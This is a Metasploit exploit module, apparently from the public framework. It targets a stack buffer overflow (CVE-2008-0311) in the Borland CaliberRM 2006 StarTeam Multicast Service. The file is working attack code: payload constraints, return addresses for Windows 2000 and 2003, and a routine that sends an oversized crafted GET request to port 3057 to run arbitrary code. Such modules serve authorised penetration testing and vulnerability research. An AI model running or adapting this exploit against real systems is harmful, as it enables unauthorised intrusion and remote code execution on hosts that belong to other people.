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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
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          a specially crafted GET request to the STMulticastService, an attacker may be
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          able to execute arbitrary code.
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        },
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        'Author' => 'MC',
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        'References' => [
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          [ 'CVE', '2008-0311' ],
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          [ 'OSVDB', '44039' ],
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          [ 'BID', '28602' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 600,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],
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          [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2008-04-02',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(3057)])
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  end
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  def exploit
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    # inline payloads work best!
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    sploit = rand_text_english(511) + "\x00" + rand_text_english(1020)
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    sploit << [target.ret].pack('V') + "@" * 156 # <- :(
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    sploit << payload.encoded + rand_text_english(rand(100) + 1)
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    print_status("Trying target #{target.name}...")
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    send_request_raw({ 'uri' => sploit, }, 5)
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    handler
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    disconnect
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  end
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end
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